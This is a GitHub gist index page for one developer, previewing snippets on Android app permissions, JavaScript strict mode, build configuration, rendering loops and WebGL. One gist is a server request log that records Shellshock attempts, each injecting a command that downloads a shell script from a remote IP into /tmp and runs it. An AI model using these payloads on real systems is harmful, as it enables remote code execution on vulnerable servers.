Skip to content

Instantly share code, notes, and snippets.

View greggman's full-sized avatar
😁

Greggman greggman

😁
View GitHub Profile
@greggman
greggman / fba-vs-fb.md
Last active August 29, 2015 14:18
Android Permissions Facebook App vs Facebook Messenger as of 2015/03/30
FBA FBM This app has access to:   FBA = Facebook App, FBM = Facebook Messenger
        Device & app history
 *         retrieve running apps
        
        Identity
 *         add or remove accounts
 *   *     read your own contact card
 *   *     find accounts on the device

Calendar

@greggman
greggman / get.md
Created April 5, 2015 07:46
requests when on public networks
[Sat, 04 Apr 2015 15:43:20 GMT] "GET /tmUnblock.cgi" "undefined"
[Sat, 04 Apr 2015 15:43:22 GMT] "GET /" "undefined"
[Sat, 04 Apr 2015 16:33:00 GMT] "GET /cgi-bin/authLogin.cgi" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
[Sat, 04 Apr 2015 16:46:28 GMT] "GET /cgi-bin/authLogin.cgi" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
[Sat, 04 Apr 2015 20:27:30 GMT] "GET /cgi-bin/authLogin.cgi" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 "
[Sat, 04 Apr 2015 21:20:15 GMT] "POST /zxiptv/" "Mozilla/5.0"
[Sat, 04 Apr 2015 21:20:20 GMT] "POST /3/" "Mozilla/5.0"
[Sat, 04 Apr 2015 21:20:24 GMT] "POST /1/" "Mozilla/5.0"
[Sat, 04 Apr 2015 21:20:28 GMT] "POST /java/" "Mozil
@greggman
greggman / use-strict.md
Last active August 29, 2015 14:18
Can it really be right that strict mode in JavaScript can break your code?

So I had a sample that wasn't working in firefox. It had code like ths

"use strict";
var devicePixelRation = window.devicePixelRatio || 1;

That worked fine on Chrome but broke on Firefox with

TypeError: setting a property that has only a getter

So first thing I learned something I didn't know. Variables declared with var in the global scope

@greggman
greggman / Gruntfilt.js
Last active August 29, 2015 14:21
Gruntfile for Shu
"use strict";
module.exports = function(grunt) {
// Project configuration.
grunt.initConfig({
uglify: {
my_target: {
options: {
wrap: true,
@greggman
greggman / RAF off when blurred
Created August 5, 2015 16:29
RAF with pause on blur
// To use call
//
// run(mainLoopFn);
//
// Where mainLoopFn is a function you want to be called every frame
function run(fn) {
var requestId;
function requestLoop(result) {
@greggman
greggman / GUI.cs
Created August 8, 2015 18:54
Example of Unity GUI vs IMGUI
// IMGUI
ImGui::Text("Hello, world %d", 123);
if (ImGui::Button("OK"))
{
// do stuff
}
ImGui::InputText("string", buf, 256);
ImGui::SliderFloat("float", &f, 0.0f, 1.0f);
@greggman
greggman / prototypical vs classical.md
Last active October 7, 2015 16:06
Words by Douglas Crockford

Classical (nearly every other language) vs Prototypal (javascripts) objects

The prototypal school has a lot of advantages particularly compared to the classical school

So in the classical school you have to create a classification of all the objects that are likely to be in your system. And, it's a lot of work to figure out what they all are and identify them and what their characteristics are and so on and then you have to determine how they are all related to each other, what’s going to inherit from what, what’s going to implement what, what’s going to interface with what, and that’s really complicated. And it usually happens at the beginning of the project before you fully understand what all this stuff means. So it’s likely your going to get the taxonomy wrong. It’s inevitable.

And then you’ve got two hard choices. One is you have to live with a broken taxonomy and if you do that then with each new class you introduce things get weirder and weirder because everything’s wrong, or you have to refactor

<script>
(function() {
var insert = function(e) {
var elem = document.createElement("pre");
elem.appendChild(document.createTextNode(Array.prototype.join.call(arguments, " ")));
document.body.insertBefore(elem, document.body.firstChild);
};
window.addEventListener('error', insert);
window.console.log = function(origFn) {
return function() {
@greggman
greggman / gist:8413752
Created January 14, 2014 05:58
Compute the z buffer representations for a particular bit depth. Meant to be pasted into JavaScript console.
res = 24; near = 0.1; far = 3500000; end = 1 << res; rangeInv = 1.0 / (near - far); j = []; last = 0; for(i = end - 16; i < end; ++i) {cz = i; cz = cz * 2.0 / (end - 1) - 1; z = near*far*rangeInv*2/(cz+(near+far)*rangeInv); j.push(" " + i + " = " + z.toFixed(3) + (last == 0 ? "" : (" range: " + (z - last).toFixed(3)))); last = z; }; console.log(j.join("\n") + "\n");
var gl = document.createElement("canvas").getContext("webgl");
var tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
var fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.FRAMEBUFFER, fb);
gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, tex, 0);
[
"ALPHA",
"LUMINANCE",
"LUMINANCE_ALPHA",